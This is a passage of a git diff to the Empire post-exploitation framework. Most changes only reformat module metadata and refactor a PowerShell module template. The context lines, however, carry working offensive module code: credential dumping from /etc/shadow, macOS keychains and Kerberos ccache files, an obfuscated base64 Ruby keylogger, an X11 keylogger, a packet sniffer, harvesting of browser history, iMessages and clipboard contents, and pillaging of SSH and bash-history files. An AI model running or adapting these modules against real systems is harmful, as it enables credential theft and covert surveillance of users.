name: Set-Wallpaper
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Uploads a .jpg image to the target and sets it as the desktop wallpaper.
software: ''
+tactics: []
techniques:
- T1491
background: false
@@ -82,4 +85,4 @@ script: |
$null = [Wallpaper.Setter]::SetWallpaper( (Convert-Path $SavePath), "Fit" )
}
-script_end: Set-Wallpaper {{ PARAMS }}
\ No newline at end of file
+script_end: Set-Wallpaper {{ PARAMS }}
diff --git a/empire/server/modules/powershell/trollsploit/wlmdr.yaml b/empire/server/modules/powershell/trollsploit/wlmdr.yaml
index 69592737f..c11aa26a2 100644
--- a/empire/server/modules/powershell/trollsploit/wlmdr.yaml
+++ b/empire/server/modules/powershell/trollsploit/wlmdr.yaml
@@ -1,8 +1,11 @@
name: Invoke-WLMDR
authors:
- - '@benichmt1'
+ - name: ''
+ handle: '@benichmt1'
+ link: ''
description: Displays a balloon reminder in the taskbar.
software: ''
+tactics: []
techniques:
- T1491
background: true
@@ -60,4 +63,4 @@ script: |
$command += " -a 10 -u calc"
iex $command
}
-script_end: Invoke-Wlrmdr {{ PARAMS }}
\ No newline at end of file
+script_end: Invoke-Wlrmdr {{ PARAMS }}
diff --git a/empire/server/modules/powershell_template.py b/empire/server/modules/powershell_template.py
index 737cad970..f7800a126 100644
--- a/empire/server/modules/powershell_template.py
+++ b/empire/server/modules/powershell_template.py
@@ -3,85 +3,71 @@
from builtins import object, str
from typing import Dict, Optional, Tuple
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.common.empire import MainMenu
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
class Module(object):
"""
STOP. In most cases you will not need this file.
- Take a look at the wiki: TODO Link. to see if you truly need this.
+ Take a look at the wiki to see if you truly need this.
+ https://bc-security.gitbook.io/empire-wiki/module-development/powershell-modules
"""
@staticmethod
def generate(
- main_menu,
- module: PydanticModule,
+ main_menu: MainMenu,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
) -> Tuple[Optional[str], Optional[str]]:
- # First method: Read in the source script from module_source
- module_source = main_menu.installPath + "/data/module_source/..."
- if obfuscate:
- data_util.obfuscate_module(
- moduleSource=module_source, obfuscationCommand=obfuscation_command
- )
- module_source = module_source.replace(
- "module_source", "obfuscated_module_source"
- )
- try:
- f = open(module_source, "r")
- except:
- return handle_error_message(
- "[!] Could not read module source path at: " + str(module_source)
- )
-
- module_code = f.read()
- f.close()
-
- # If you'd just like to import a subset of the functions from the
- # module source, use the following:
- # script = helpers.generate_dynamic_powershell_script(module_code, ["Get-Something", "Set-Something"])
- script = module_code
-
- # Second method: For calling your imported source, or holding your
- # inlined script. If you're importing source using the first method,
- # ensure that you append to the script variable rather than set.
- #
+ # Step 1: Get the module source code
# The script should be stripped of comments, with a link to any
# original reference script included in the comments.
- #
# If your script is more than a few lines, it's probably best to use
# the first method to source it.
#
- # script += """
- script = """
-function Invoke-Something {
+ # First method: Read in the source script from module_source
+ # get_module_source will return the source code, getting the obfuscated version if necessary.
+ # It will also return an error message if there was an issue reading the source code.
+ script, err = main_menu.modulesv2.get_module_source(
+ module_name=module.script_path,
+ obfuscate=obfuscate,
+ obfuscate_command=obfuscation_command,
+ )
-}
-Invoke-Something"""
+ if err:
+ return handle_error_message(err)
- scriptEnd = ""
+ # If you'd just like to import a subset of the functions from the
+ # module source, use the following:
+ # script = helpers.generate_dynamic_powershell_script(module_code, ["Get-Something", "Set-Something"])
+
+ # Second method: Use the script from the module's yaml.
+ script = module.script
+ # Step 2: Parse the module options
+ # The params dict contains the validated options that were sent.
+ script_end = ""
# Add any arguments to the end execution of the script
for option, values in params.items():
if option.lower() != "agent":
if values and values != "":
if values.lower() == "true":
# if we're just adding a switch
- scriptEnd += " -" + str(option)
+ script_end += " -" + str(option)
else:
- scriptEnd += " -" + str(option) + " " + str(values)
- if obfuscate:
- scriptEnd = helpers.obfuscate(
- psScript=scriptEnd,
- installPath=main_menu.installPath,
- obfuscationCommand=obfuscation_command,
- )
- script += scriptEnd
- script = data_util.keyword_obfuscation(script)
+ script_end += " -" + str(option) + " " + str(values)
+
+ # Step 3: Return the final script
+ # finalize_module will obfuscate the "script_end" (if needed), then append it to the script.
+ script = main_menu.modulesv2.finalize_module(
+ script=script,
+ script_end=script_end,
+ obfuscate=obfuscate,
+ obfuscation_command=obfuscation_command,
+ )
return script
diff --git a/empire/server/modules/powershell_template.yaml b/empire/server/modules/powershell_template.yaml
index 722de8a11..d2100e470 100644
--- a/empire/server/modules/powershell_template.yaml
+++ b/empire/server/modules/powershell_template.yaml
@@ -4,8 +4,9 @@ name: Invoke-Template
# The authors responsible for the original code and/or writing the Empire module for it.
authors:
- - '@author1'
- - '@auth0r2'
+ - name: Author 1
+ handle: '@author1'
+ link: https://twitter.com/author1
description: |
A discription of what the module does and how it works.
@@ -64,6 +65,7 @@ script: |
"Hello"
}
+# script_path: 'situational_awareness/network/Invoke-Template.ps1'
# This usually just consists of invoking the function. {{ PARAMS }} injects the options into the command.
# More info on customizing the script_end and option formatter are in the wiki.
diff --git a/empire/server/modules/python/code_execution/powershell_execution.yaml b/empire/server/modules/python/code_execution/powershell_execution.yaml
index 546090485..8e95b1c70 100644
--- a/empire/server/modules/python/code_execution/powershell_execution.yaml
+++ b/empire/server/modules/python/code_execution/powershell_execution.yaml
@@ -1,8 +1,11 @@
name: powershell_execution
authors:
- - '@Cx01N'
+ - name: Anthony Rose
+ handle: '@Cx01N'
+ link: https://twitter.com/Cx01N_
description: Executes Powershell code from a Python code.
software: ''
+tactics: []
techniques:
- T1046
background: true
@@ -22,18 +25,18 @@ options:
description: Agent to execute module on.
required: true
value: Write-Host 'Test'
-script: |
- from System import Environment
- import clr, System
+script: |-
+ from System import Environment
+ import clr, System
- clr.AddReference("System.Management.Automation")
- from System.Management.Automation import Runspaces
- myrunspace = Runspaces.RunspaceFactory.CreateRunspace()
- myrunspace.Open()
- pipeline = myrunspace.CreatePipeline()
- pipeline.Commands.AddScript("""
- {{ PowerShell }}
- """)
- results = pipeline.Invoke();
- for result in results:
- print(result)
\ No newline at end of file
+ clr.AddReference("System.Management.Automation")
+ from System.Management.Automation import Runspaces
+ myrunspace = Runspaces.RunspaceFactory.CreateRunspace()
+ myrunspace.Open()
+ pipeline = myrunspace.CreatePipeline()
+ pipeline.Commands.AddScript("""
+ {{ PowerShell }}
+ """)
+ results = pipeline.Invoke();
+ for result in results:
+ print(result)
diff --git a/empire/server/modules/python/collection/linux/hashdump.yaml b/empire/server/modules/python/collection/linux/hashdump.yaml
index c86f6549d..b886ee040 100644
--- a/empire/server/modules/python/collection/linux/hashdump.yaml
+++ b/empire/server/modules/python/collection/linux/hashdump.yaml
@@ -1,8 +1,11 @@
name: Linux Hashdump
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Extracts the /etc/passwd and /etc/shadow, unshadowing the result.
software: ''
+tactics: []
techniques:
- T1003
background: false
@@ -11,13 +14,13 @@ needs_admin: true
opsec_safe: true
language: python
min_language_version: '3.6'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to execute module on.
required: true
value: ''
-script: |
+script: |-
import time;
f2 = open("/etc/shadow")
shadow = f2.readlines()
@@ -43,4 +46,4 @@ script: |
time.sleep(0.01)
if username in users:
time.sleep(0.01)
- print("%s:%s:%s" %(username, users[username], info))
\ No newline at end of file
+ print("%s:%s:%s" %(username, users[username], info))
diff --git a/empire/server/modules/python/collection/linux/keylogger.yaml b/empire/server/modules/python/collection/linux/keylogger.yaml
index 79af91ced..430027225 100644
--- a/empire/server/modules/python/collection/linux/keylogger.yaml
+++ b/empire/server/modules/python/collection/linux/keylogger.yaml
@@ -1,11 +1,15 @@
name: Webcam
authors:
- - joev
- - '@harmj0y'
-description: Logs keystrokes to the specified file. Ruby based and heavily adapted
- from MSF's osx/capture/keylog_recorder. Kill the resulting PID when keylogging is
- finished and download the specified LogFile.
+ - name: joev
+ handle: ''
+ link: ''
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Logs keystrokes to the specified file. Ruby based and heavily adapted from MSF's osx/capture/keylog_recorder.
+ Kill the resulting PID when keylogging is finished and download the specified LogFile.
software: ''
+tactics: []
techniques:
- T1056
background: false
@@ -25,10 +29,10 @@ options:
description: Text file to log keystrokes out to.
required: true
value: /tmp/debug.db
-script: |
+script: |-
import os,time
output = os.popen('echo "require \\\'base64\\\';eval(Base64.decode64(\\\'cmVxdWlyZSAndGhyZWFkJwpyZXF1aXJlICdkbCcKcmVxdWlyZSAnZGwvaW1wb3J0JwpJbXBvcnRlciA9IGlmIGRlZmluZWQ/KERMOjpJbXBvcnRlcikgdGhlbiBETDo6SW1wb3J0ZXIgZWxzZSBETDo6SW1wb3J0YWJsZSBlbmQKZGVmIHJ1YnlfMV85X29yX2hpZ2hlcj8KICBSVUJZX1ZFUlNJT04udG9fZiA+PSAxLjkKZW5kCmRlZiBtYWxsb2Moc2l6ZSkKICBpZiBydWJ5XzFfOV9vcl9oaWdoZXI/CiAgICBETDo6Q1B0ci5tYWxsb2Moc2l6ZSkKICBlbHNlCiAgICBETDo6bWFsbG9jKHNpemUpCiAgZW5kCmVuZAppZiBub3QgcnVieV8xXzlfb3JfaGlnaGVyPwogIG1vZHVsZSBETAogICAgbW9kdWxlIEltcG9ydGFibGUKICAgICAgZGVmIG1ldGhvZF9taXNzaW5nKG1ldGgsICphcmdzLCAmYmxvY2spCiAgICAgICAgc3RyID0gbWV0aC50b19zCiAgICAgICAgbG93ZXIgPSBzdHJbMCwxXS5kb3duY2FzZSArIHN0clsxLi4tMV0KICAgICAgICBpZiBzZWxmLnJlc3BvbmRfdG8/IGxvd2VyCiAgICAgICAgICBzZWxmLnNlbmQgbG93ZXIsICphcmdzCiAgICAgICAgZWxzZQogICAgICAgICAgc3VwZXIKICAgICAgICBlbmQKICAgICAgZW5kCiAgICBlbmQKICBlbmQKZW5kClNNX0tDSFJfQ0FDSEUgPSAzOApTTV9DVVJSRU5UX1NDUklQVCA9IC0yCk1BWF9BUFBfTkFNRSA9IDgwCm1vZHVsZSBDYXJib24KICBleHRlbmQgSW1wb3J0ZXIKICBkbGxvYWQgJy9TeXN0ZW0vTGlicmFyeS9GcmFtZXdvcmtzL0NhcmJvbi5mcmFtZXdvcmsvQ2FyYm9uJwogIGV4dGVybiAndW5zaWduZWQgbG9uZyBDb3B5UHJvY2Vzc05hbWUoY29uc3QgUHJvY2Vzc1NlcmlhbE51bWJlciAqLCB2b2lkICopJwogIGV4dGVybiAndm9pZCBHZXRGcm9udFByb2Nlc3MoUHJvY2Vzc1NlcmlhbE51bWJlciAqKScKICBleHRlcm4gJ3ZvaWQgR2V0S2V5cyh2b2lkICopJwogIGV4dGVybiAndW5zaWduZWQgY2hhciAqR2V0U2NyaXB0VmFyaWFibGUoaW50LCBpbnQpJwogIGV4dGVybiAndW5zaWduZWQgY2hhciBLZXlUcmFuc2xhdGUodm9pZCAqLCBpbnQsIHZvaWQgKiknCiAgZXh0ZXJuICd1bnNpZ25lZCBjaGFyIENGU3RyaW5nR2V0Q1N0cmluZyh2b2lkICosIHZvaWQgKiwgaW50LCBpbnQpJwogIGV4dGVybiAnaW50IENGU3RyaW5nR2V0TGVuZ3RoKHZvaWQgKiknCmVuZApwc24gPSBtYWxsb2MoMTYpCm5hbWUgPSBtYWxsb2MoMTYpCm5hbWVfY3N0ciA9IG1hbGxvYyhNQVhfQVBQX05BTUUpCmtleW1hcCA9IG1hbGxvYygxNikKc3RhdGUgPSBtYWxsb2MoOCkKaXR2X3N0YXJ0ID0gVGltZS5ub3cudG9faQpwcmV2X2Rvd24gPSBIYXNoLm5ldyhmYWxzZSkKbGFzdFdpbmRvdyA9ICIiCndoaWxlICh0cnVlKSBkbwogIENhcmJvbi5HZXRGcm9udFByb2Nlc3MocHNuLnJlZikKICBDYXJib24uQ29weVByb2Nlc3NOYW1lKHBzbi5yZWYsIG5hbWUucmVmKQogIENhcmJvbi5HZXRLZXlzKGtleW1hcCkKICBzdHJfbGVuID0gQ2FyYm9uLkNGU3RyaW5nR2V0TGVuZ3RoKG5hbWUpCiAgY29waWVkID0gQ2FyYm9uLkNGU3RyaW5nR2V0Q1N0cmluZyhuYW1lLCBuYW1lX2NzdHIsIE1BWF9BUFBfTkFNRSwgMHgwODAwMDEwMCkgPiAwCiAgYXBwX25hbWUgPSBpZiBjb3BpZWQgdGhlbiBuYW1lX2NzdHIudG9fcyBlbHNlICdVbmtub3duJyBlbmQKICBieXRlcyA9IGtleW1hcC50b19zdHIKICBjYXBfZmxhZyA9IGZhbHNlCiAgYXNjaWkgPSAwCiAgY3RybGNoYXIgPSAiIgogICgwLi4uMTI4KS5lYWNoIGRvIHxrfAogICAgaWYgKChieXRlc1trPj4zXS5vcmQgPj4gKGsmNykpICYgMSA+IDApCiAgICAgIGlmIG5vdCBwcmV2X2Rvd25ba10KICAgICAgICBjYXNlIGsKICAgICAgICAgIHdoZW4gMzYKICAgICAgICAgICAgY3RybGNoYXIgPSAiW2VudGVyXSIKICAgICAgICAgIHdoZW4gNDgKICAgICAgICAgICAgY3RybGNoYXIgPSAiW3RhYl0iCiAgICAgICAgICB3aGVuIDQ5CiAgICAgICAgICAgIGN0cmxjaGFyID0gIiAiCiAgICAgICAgICB3aGVuIDUxCiAgICAgICAgICAgIGN0cmxjaGFyID0gIltkZWxldGVdIgogICAgICAgICAgd2hlbiA1MwogICAgICAgICAgICBjdHJsY2hhciA9ICJbZXNjXSIKICAgICAgICAgIHdoZW4gNTUKICAgICAgICAgICAgY3RybGNoYXIgPSAiW2NtZF0iCiAgICAgICAgICB3aGVuIDU2CiAgICAgICAgICAgIGN0cmxjaGFyID0gIltzaGlmdF0iCiAgICAgICAgICB3aGVuIDU3CiAgICAgICAgICAgIGN0cmxjaGFyID0gIltjYXBzXSIKICAgICAgICAgIHdoZW4gNTgKICAgICAgICAgICAgY3RybGNoYXIgPSAiW29wdGlvbl0iCiAgICAgICAgICB3aGVuIDU5CiAgICAgICAgICAgIGN0cmxjaGFyID0gIltjdHJsXSIKICAgICAgICAgIHdoZW4gNjMKICAgICAgICAgICAgY3RybGNoYXIgPSAiW2ZuXSIKICAgICAgICAgIGVsc2UKICAgICAgICAgICAgY3RybGNoYXIgPSAiIgogICAgICAgIGVuZAogICAgICAgIGlmIGN0cmxjaGFyID09ICIiIGFuZCBhc2NpaSA9PSAwCiAgICAgICAgICBrY2hyID0gQ2FyYm9uLkdldFNjcmlwdFZhcmlhYmxlKFNNX0tDSFJfQ0FDSEUsIFNNX0NVUlJFTlRfU0NSSVBUKQogICAgICAgICAgY3Vycl9hc2NpaSA9IENhcmJvbi5LZXlUcmFuc2xhdGUoa2Nociwgaywgc3RhdGUpCiAgICAgICAgICBjdXJyX2FzY2lpID0gY3Vycl9hc2NpaSA+PiAxNiBpZiBjdXJyX2FzY2lpIDwgMQogICAgICAgICAgcHJldl9kb3duW2tdID0gdHJ1ZQogICAgICAgICAgaWYgY3Vycl9hc2NpaSA9PSAwCiAgICAgICAgICAgIGNhcF9mbGFnID0gdHJ1ZQogICAgICAgICAgZWxzZQogICAgICAgICAgICBhc2NpaSA9IGN1cnJfYXNjaWkKICAgICAgICAgIGVuZAogICAgICAgIGVsc2lmIGN0cmxjaGFyICE9ICIiCiAgICAgICAgICBwcmV2X2Rvd25ba10gPSB0cnVlCiAgICAgICAgZW5kCiAgICAgIGVuZAogICAgZWxzZQogICAgICBwcmV2X2Rvd25ba10gPSBmYWxzZQogICAgZW5kCiAgZW5kCiAgaWYgYXNjaWkgIT0gMCBvciBjdHJsY2hhciAhPSAiIgogICAgaWYgYXBwX25hbWUgIT0gbGFzdFdpbmRvdwogICAgICBwdXRzICJcblxuWyN7YXBwX25hbWV9XSAtIFsje1RpbWUubm93fV1cbiIKICAgICAgbGFzdFdpbmRvdyA9IGFwcF9uYW1lCiAgICBlbmQKICAgIGlmIGN0cmxjaGFyICE9ICIiCiAgICAgIHByaW50ICIje2N0cmxjaGFyfSIKICAgIGVsc2lmIGFzY2lpID4gMzIgYW5kIGFzY2lpIDwgMTI3CiAgICAgIGMgPSBpZiBjYXBfZmxhZyB0aGVuIGFzY2lpLmNoci51cGNhc2UgZWxzZSBhc2NpaS5jaHIgZW5kCiAgICAgIHByaW50ICIje2N9IgogICAgZWxzZQogICAgICBwcmludCAiWyN7YXNjaWl9XSIKICAgIGVuZAogICAgJHN0ZG91dC5mbHVzaAogIGVuZAogIEtlcm5lbC5zbGVlcCgwLjAxKQplbmQK\\\'))" | ruby > {{ LogFile }} &').read()
time.sleep(1)
pids = os.popen('ps aux | grep " ruby" | grep -v grep').read()
print(pids)
- print("kill ruby PID and download {{ LogFile }} when completed")
\ No newline at end of file
+ print("kill ruby PID and download {{ LogFile }} when completed")
diff --git a/empire/server/modules/python/collection/linux/mimipenguin.yaml b/empire/server/modules/python/collection/linux/mimipenguin.yaml
index a68f9a453..1fa1060bc 100644
--- a/empire/server/modules/python/collection/linux/mimipenguin.yaml
+++ b/empire/server/modules/python/collection/linux/mimipenguin.yaml
@@ -1,9 +1,11 @@
name: Linux MimiPenguin
authors:
- - '@rvrsh3ll'
-description: Port of huntergregal mimipenguin. Harvest's current user's cleartext
- credentials.
+ - name: ''
+ handle: '@rvrsh3ll'
+ link: ''
+description: Port of huntergregal mimipenguin. Harvest's current user's cleartext credentials.
software: S0179
+tactics: []
techniques:
- T1003
background: false
@@ -12,10 +14,10 @@ needs_admin: true
opsec_safe: true
language: python
min_language_version: '3'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to execute module on.
required: true
value: ''
-script_path: 'python/collection/mimipenguin.py'
\ No newline at end of file
+script_path: python/collection/mimipenguin.py
diff --git a/empire/server/modules/python/collection/linux/pillage_user.yaml b/empire/server/modules/python/collection/linux/pillage_user.yaml
index acab87a75..c0c57b4fb 100644
--- a/empire/server/modules/python/collection/linux/pillage_user.yaml
+++ b/empire/server/modules/python/collection/linux/pillage_user.yaml
@@ -1,9 +1,11 @@
name: Linux PillageUser
authors:
- - '@harmj0y'
-description: 'Pillages the current user for their bash_history, ssh known hosts, recent
- folders, etc. '
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: 'Pillages the current user for their bash_history, ssh known hosts, recent folders, etc. '
software: ''
+tactics: []
techniques:
- T1139
background: false
@@ -12,22 +14,21 @@ needs_admin: false
opsec_safe: true
language: python
min_language_version: '2.6'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to execute module on.
required: true
value: ''
- name: Sleep
- description: Switch. Sleep the agent's normal interval between downloads, otherwise
- use one blast.
+ description: Switch. Sleep the agent's normal interval between downloads, otherwise use one blast.
required: false
value: 'True'
- name: AllUsers
description: Switch. Run for all users (needs root privileges!)
required: false
value: 'False'
-script: |
+script: |-
import os
# custom function to send download packets back
@@ -88,4 +89,4 @@ script: |
# downloadFile(userPath + '/.ssh/' + sshFile)
print(userPath + '/.ssh/' + sshFile)
- print("pillaging complete")
\ No newline at end of file
+ print("pillaging complete")
diff --git a/empire/server/modules/python/collection/linux/sniffer.yaml b/empire/server/modules/python/collection/linux/sniffer.yaml
index 8848ef79d..86f1a9805 100644
--- a/empire/server/modules/python/collection/linux/sniffer.yaml
+++ b/empire/server/modules/python/collection/linux/sniffer.yaml
@@ -1,9 +1,11 @@
name: PcapSniffer
authors:
- - '@Killswitch_GUI'
-description: This module will sniff all interfaces on the target, and write in pcap
- format.
+ - name: ''
+ handle: '@Killswitch_GUI'
+ link: ''
+description: This module will sniff all interfaces on the target, and write in pcap format.
software: ''
+tactics: []
techniques:
- T1040
background: false
@@ -43,7 +45,7 @@ options:
description: Path of the file to save (Not used if InMemory is True.
required: true
value: /tmp/debug.pcap
-script: |
+script: |-
import socket, time
from datetime import datetime
import struct
@@ -207,4 +209,4 @@ script: |
maxSize = {{ MaxSize }}
maxPackets = {{ MaxPackets }}
inMemory = {{ InMemory }}
- socketSniffer(fileNameSave,ipFilter,portFilter,maxSize,maxPackets, inMemory)
\ No newline at end of file
+ socketSniffer(fileNameSave,ipFilter,portFilter,maxSize,maxPackets, inMemory)
diff --git a/empire/server/modules/python/collection/linux/xkeylogger.yaml b/empire/server/modules/python/collection/linux/xkeylogger.yaml
index e92a722cf..aaa0a4a5e 100644
--- a/empire/server/modules/python/collection/linux/xkeylogger.yaml
+++ b/empire/server/modules/python/collection/linux/xkeylogger.yaml
@@ -1,8 +1,11 @@
name: Keylog
authors:
- - Nikaiw
+ - name: Nikaiw
+ handle: ''
+ link: ''
description: X userland keylogger based on pupy
software: ''
+tactics: []
techniques:
- T1056
background: true
@@ -18,7 +21,7 @@ options:
description: Agent to keylog.
required: true
value: ''
-script: |
+script: |-
# -*- coding: utf-8 -*-
# inspired from https://github.com/amoffat/pykeylogger
import sys
@@ -735,4 +738,4 @@ script: |
return u''.join(keys)
run()
- job_message_buffer('[!] Keylogger exited\\n')
\ No newline at end of file
+ job_message_buffer('[!] Keylogger exited\\n')
diff --git a/empire/server/modules/python/collection/osx/browser_dump.yaml b/empire/server/modules/python/collection/osx/browser_dump.yaml
index d7a41fd43..aa97311f9 100644
--- a/empire/server/modules/python/collection/osx/browser_dump.yaml
+++ b/empire/server/modules/python/collection/osx/browser_dump.yaml
@@ -1,8 +1,11 @@
name: Browser Dump
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: This module will dump browser history from Safari and Chrome.
software: ''
+tactics: []
techniques:
- T1217
background: false
@@ -22,7 +25,7 @@ options:
description: Number of URLs to return.
required: true
value: '3'
-script: |
+script: |-
import sqlite3
import os
@@ -77,4 +80,4 @@ script: |
s = browser_dump()
- s.func(number)
\ No newline at end of file
+ s.func(number)
diff --git a/empire/server/modules/python/collection/osx/clipboard.yaml b/empire/server/modules/python/collection/osx/clipboard.yaml
index 9088475f4..8019de16d 100644
--- a/empire/server/modules/python/collection/osx/clipboard.yaml
+++ b/empire/server/modules/python/collection/osx/clipboard.yaml
@@ -1,8 +1,11 @@
name: ClipboardGrabber
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: This module will write log output of clipboard to stdout (or disk).
software: ''
+tactics: []
techniques:
- T1115
- T1414
@@ -27,7 +30,7 @@ options:
description: Optional for how long you would like to monitor clipboard in (s).
required: true
value: '0'
-script: |
+script: |-
def func(monitortime=0):
from AppKit import NSPasteboard, NSStringPboardType
import time
@@ -59,4 +62,4 @@ script: |
except Exception as e:
print(e)
- func(monitortime={{MonitorTime}})
\ No newline at end of file
+ func(monitortime={{MonitorTime}})
diff --git a/empire/server/modules/python/collection/osx/hashdump.yaml b/empire/server/modules/python/collection/osx/hashdump.yaml
index 501cd62fd..ad14a86ba 100644
--- a/empire/server/modules/python/collection/osx/hashdump.yaml
+++ b/empire/server/modules/python/collection/osx/hashdump.yaml
@@ -1,8 +1,11 @@
name: Hashdump
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Extracts found user hashes out of /var/db/dslocal/nodes/Default/users/*.plist
software: ''
+tactics: []
techniques:
- T1003
background: false
@@ -18,7 +21,7 @@ options:
description: Agent to execute module on.
required: true
value: ''
-script: |
+script: |-
import os
import base64
def getUserHash(userName):
@@ -56,4 +59,4 @@ script: |
if(userHash):
userHashes.append(getUserHash(userName))
- print(userHashes)
\ No newline at end of file
+ print(userHashes)
diff --git a/empire/server/modules/python/collection/osx/imessage_dump.py b/empire/server/modules/python/collection/osx/imessage_dump.py
index 6a5225141..fb2ee81d8 100644
--- a/empire/server/modules/python/collection/osx/imessage_dump.py
+++ b/empire/server/modules/python/collection/osx/imessage_dump.py
@@ -3,14 +3,14 @@
from builtins import object, str
from typing import Dict
-from empire.server.common.module_models import PydanticModule
+from empire.server.core.module_models import EmpireModule
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
diff --git a/empire/server/modules/python/collection/osx/imessage_dump.yaml b/empire/server/modules/python/collection/osx/imessage_dump.yaml
index 96ed793c4..d571939a9 100644
--- a/empire/server/modules/python/collection/osx/imessage_dump.yaml
+++ b/empire/server/modules/python/collection/osx/imessage_dump.yaml
@@ -1,9 +1,14 @@
name: iMessageDump
authors:
- - Alex Rymdeko-Harvey
- - '@Killswitch-GUI'
+ - name: Alex Rymdeko-Harvey
+ handle: ''
+ link: ''
+ - name: ''
+ handle: '@Killswitch-GUI'
+ link: ''
description: This module will enumerate the entire chat and IMessage SQL Database.
software: ''
+tactics: []
techniques:
- T1081
background: false
@@ -13,8 +18,7 @@ opsec_safe: true
language: python
min_language_version: '2.6'
comments:
- - Using SQLite3 iMessage has a decent standard to correlate users to messages and
- isnt encrypted.
+ - Using SQLite3 iMessage has a decent standard to correlate users to messages and isnt encrypted.
options:
- name: Agent
description: Agent to run from.
@@ -33,4 +37,4 @@ options:
required: true
value: 'False'
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/python/collection/osx/kerberosdump.yaml b/empire/server/modules/python/collection/osx/kerberosdump.yaml
index ef84ff018..daf3b1912 100644
--- a/empire/server/modules/python/collection/osx/kerberosdump.yaml
+++ b/empire/server/modules/python/collection/osx/kerberosdump.yaml
@@ -1,8 +1,14 @@
name: Dump Kerberos Tickets
authors:
- - '@424f424f,@gentilkiwi'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
+ - name: Benjamin Delpy
+ handle: '@gentilkiwi'
+ link: https://twitter.com/gentilkiwi
description: This module will dump ccache kerberostickets to the specified directory
software: ''
+tactics: []
techniques:
- T1208
background: false
@@ -18,7 +24,7 @@ options:
description: Agent to grab a tickets from.
required: true
value: ''
-script: |
+script: |-
import subprocess
kerbdump = \"""
ps auxwww |grep /loginwindow |grep -v "grep /loginwindow" |while read line
@@ -40,4 +46,4 @@ script: |
output = subprocess.Popen('ls /tmp/*.ccache', shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.read()
print(output)
except Exception as e:
- print(e)
\ No newline at end of file
+ print(e)
diff --git a/empire/server/modules/python/collection/osx/keychaindump.yaml b/empire/server/modules/python/collection/osx/keychaindump.yaml
index 4649deaa2..abeabe0f2 100644
--- a/empire/server/modules/python/collection/osx/keychaindump.yaml
+++ b/empire/server/modules/python/collection/osx/keychaindump.yaml
@@ -1,8 +1,11 @@
name: Webcam
authors:
- - Juuso Salonen
+ - name: Juuso Salonen
+ handle: ''
+ link: ''
description: Searches for keychain candidates and attempts to decrypt the user's keychain.
software: ''
+tactics: []
techniques:
- T1142
background: false
@@ -26,7 +29,7 @@ options:
description: Manual location of keychain to decrypt, otherwise default.
required: false
value: ''
-script: |
+script: |-
import base64
import os
@@ -44,4 +47,4 @@ script: |
print(os.popen('TempDir "{{ KeyChain }}"').read())
else:
print(os.popen('TempDir').read())
- os.popen('rm -f TempDir')
\ No newline at end of file
+ os.popen('rm -f TempDir')
diff --git a/empire/server/modules/python/collection/osx/keychaindump_chainbreaker.yaml b/empire/server/modules/python/collection/osx/keychaindump_chainbreaker.yaml
index 1e66a34d0..6c0bdbac5 100644
--- a/empire/server/modules/python/collection/osx/keychaindump_chainbreaker.yaml
+++ b/empire/server/modules/python/collection/osx/keychaindump_chainbreaker.yaml
@@ -1,9 +1,14 @@
name: Chainbreaker
authors:
- - '@n0fate'
- - '@Killswitch-GUI'
+ - name: ''
+ handle: '@n0fate'
+ link: ''
+ - name: ''
+ handle: '@Killswitch-GUI'
+ link: ''
description: A keychain dump module that allows for decryption via known password.
software: ''
+tactics: []
techniques:
- T1142
background: false
@@ -27,7 +32,7 @@ options:
description: Known user password to attempt to decrypt the Keychain.
required: true
value: ''
-script: |
+script: |-
# http://web.mit.edu/darwin/src/modules/Security/cdsa/cdsa/cssmtype.h
KEY_TYPE = {
0x00+0x0F : 'CSSM_KEYCLASS_PUBLIC_KEY',
@@ -2202,4 +2207,4 @@ script: |
gc.collect()
except Exception as e:
print(e)
- pass
\ No newline at end of file
+ pass
diff --git a/empire/server/modules/python/collection/osx/keychaindump_decrypt.yaml b/empire/server/modules/python/collection/osx/keychaindump_decrypt.yaml
index decaab667..2774da07f 100644
--- a/empire/server/modules/python/collection/osx/keychaindump_decrypt.yaml
+++ b/empire/server/modules/python/collection/osx/keychaindump_decrypt.yaml
@@ -1,10 +1,12 @@
name: Sandbox-Keychain-Dump
authors:
- - '@import-au'
-description: 'Uses Apple Security utility to dump the contents of the keychain. WARNING:
- Will prompt user for access to each key.On Newer versions of Sierra and High Sierra,
- this will also ask the user for their password for each key.'
+ - name: ''
+ handle: '@import-au'
+ link: ''
+description: 'Uses Apple Security utility to dump the contents of the keychain. WARNING: Will prompt user for access to each
+ key.On Newer versions of Sierra and High Sierra, this will also ask the user for their password for each key.'
software: ''
+tactics: []
techniques:
- T1142
background: false
@@ -24,7 +26,7 @@ options:
description: File to output AppleScript to, otherwise displayed on the screen.
required: false
value: ''
-script: |
+script: |-
import subprocess
import re
@@ -36,4 +38,4 @@ script: |
print("System: " + account[0])
print("Description: " + account[2])
print("Username: " + account[1])
- print("Secret: " + account[3])
\ No newline at end of file
+ print("Secret: " + account[3])
diff --git a/empire/server/modules/python/collection/osx/keylogger.yaml b/empire/server/modules/python/collection/osx/keylogger.yaml
index de5748cbb..9e390631f 100644
